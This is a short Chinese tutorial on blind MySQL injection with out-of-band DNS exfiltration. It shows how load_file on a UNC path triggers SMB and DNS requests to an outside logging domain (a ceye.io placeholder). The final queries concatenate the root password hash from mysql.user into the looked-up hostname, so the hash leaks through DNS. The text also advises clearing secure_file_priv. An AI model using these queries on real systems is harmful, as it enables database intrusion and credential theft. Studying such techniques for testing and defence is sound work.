利用DNS日志进行MySQL盲注
0x01 技术原理
这里是利用load_file这个函数利用smb请求方式请求域名机器下的一个文件,由于计算机对该域名不熟悉所以需要优先请求DNS,所以我们通过DNS日志记录中的内容来获取回显。解决了盲注回显的问题,或者是时间注入判断的问题。
熟悉MySQL的人都知道,这个利用有几个要求或者说是限制条件
# 条件1
+ 1、由于基于SMB请求,需要在Windows环境下
# 条件2
+ 2、需要MySQL的配置支持,主要是这个配置需要为空
secure_file_priv
0x02 测试
0x02 – 01 简单的load权限查看
show global variables like '%secure%';
这里满足要求,如果不满足,可以在my.ini或者my.cnf等mysql服务的配置文件中修改[mysqld]项,需要加上如下这行:
secure_file_priv =
0x02 – 02 load一个域名下的文件试试看
select load_file('\\\\root.xxxxxx.ceye.io\\abc');
0x03 – 03 使用拼接函数,对我们想要获取的数据进行拼接
select concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234')
0x02 – 04
select load_file(concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234'));